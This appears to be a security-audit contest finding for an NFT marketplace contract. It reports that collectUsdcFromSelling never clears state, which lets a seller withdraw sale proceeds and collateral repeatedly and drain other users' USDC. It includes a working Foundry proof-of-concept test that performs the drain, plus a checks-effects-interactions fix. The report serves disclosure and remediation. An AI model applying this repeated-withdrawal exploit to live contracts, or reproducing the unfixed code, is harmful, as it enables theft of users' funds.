NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

Repeated collectUsdcFromSelling calls allow sellers to drain the entire contract balance

Author Revealed upon completion

Root + Impact

Description

collectUsdcFromSelling() transfers USDC to the seller but never resets any state — the listing's seller, price, and collateralForMinting all remain intact after payout. Since the only guard (require(!listing.isActive)) stays satisfied on every subsequent call, a seller can call this function repeatedly to extract (price - fees + collateral) each time, draining USDC belonging to other users.

Risk

Likelihood:

  • Any seller whose listing has been bought can trigger this immediately — no special timing, no admin action, no external dependency required

  • The vulnerable function is the standard post-sale claim path that every seller must call, so the attack surface is exercised in normal protocol usage

Impact:

  • Direct theft of the entire contract USDC balance — attacker drains other users' collateral deposits and pending sale proceeds

  • Victims cannot cancel listings or reclaim collateral because contract balance reaches zero

  • Drain rate scales linearly with (price + collateral) per call — at max listing price (~4,294 USDC), a 10,000 USDC pool is emptied in 2-3 calls

Proof of Concept

forge test --match-test test_H02_RepeatedCollectDrainsOtherUsers -vvv

Setup: 5 users each mint (20 USDC collateral × 5 = 100 USDC). Alice lists token 1 for 50 USDC. Bob buys. Contract holds 150 USDC.

Step Action Alice receives Contract balance
0 5 mints + Bob buys Alice's listing — 150 USDC
1 Alice calls collectUsdcFromSelling(1) 69.5 USDC 80.5 USDC
2 Alice calls collectUsdcFromSelling(1) again 69.5 USDC 11.0 USDC

Math per call: price(50) - fees(50 × 1% = 0.5) + collateral(20) = 69.5 USDC
Alice's entitlement: 69.5 USDC. Alice's actual extraction: 139.0 USDC. 69.5 USDC stolen from other users.

function test_H02_RepeatedCollectDrainsOtherUsers() public {
// Multiple users mint to build up contract balance
vm.startPrank(alice);
usdc.approve(address(nftDealers), type(uint256).max);
nftDealers.mintNft(); // tokenId 1
vm.stopPrank();
​
vm.startPrank(carol);
usdc.approve(address(nftDealers), type(uint256).max);
nftDealers.mintNft(); // tokenId 2
nftDealers.mintNft(); // tokenId 3
nftDealers.mintNft(); // tokenId 4
nftDealers.mintNft(); // tokenId 5
vm.stopPrank();
​
// Alice lists and Bob buys for a small price
vm.prank(alice);
nftDealers.list(1, uint32(50e6));
​
vm.startPrank(bob);
usdc.approve(address(nftDealers), type(uint256).max);
nftDealers.buy(1);
vm.stopPrank();
​
// Contract: 100 (collateral) + 50 (bob payment) = 150 USDC
assertEq(usdc.balanceOf(address(nftDealers)), 150e6);
​
uint256 aliceBalBefore = usdc.balanceOf(alice);
​
// Alice collects MULTIPLE times — no state reset prevents this
vm.startPrank(alice);
nftDealers.collectUsdcFromSelling(1); // 1st: gets 69.5
nftDealers.collectUsdcFromSelling(1); // 2nd: gets another 69.5 (from Carol's deposits!)
vm.stopPrank();
​
uint256 aliceGained = usdc.balanceOf(alice) - aliceBalBefore;
// Alice extracted ~139 USDC from a 50 USDC sale + 20 USDC collateral
assertTrue(aliceGained > 100e6, "Alice drained more than entitled");
}

Output: Alice gained total: 139000000 — confirms 2× extraction from a single sale.

Recommended Mitigation

Root cause in collectUsdcFromSelling — no state is cleared after payout:

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
@> usdc.safeTransfer(msg.sender, amountToSeller); // pays seller but never zeroes state
@> // NO reset of seller, price, or collateralForMinting — next call pays again
}

Fix — zero all claimable state before transfer (CEI pattern):

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
+ // Zero state BEFORE transfer (CEI)
+ s_listings[_listingId].seller = address(0);
+ s_listings[_listingId].price = 0;
+ collateralForMinting[listing.tokenId] = 0;
+
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!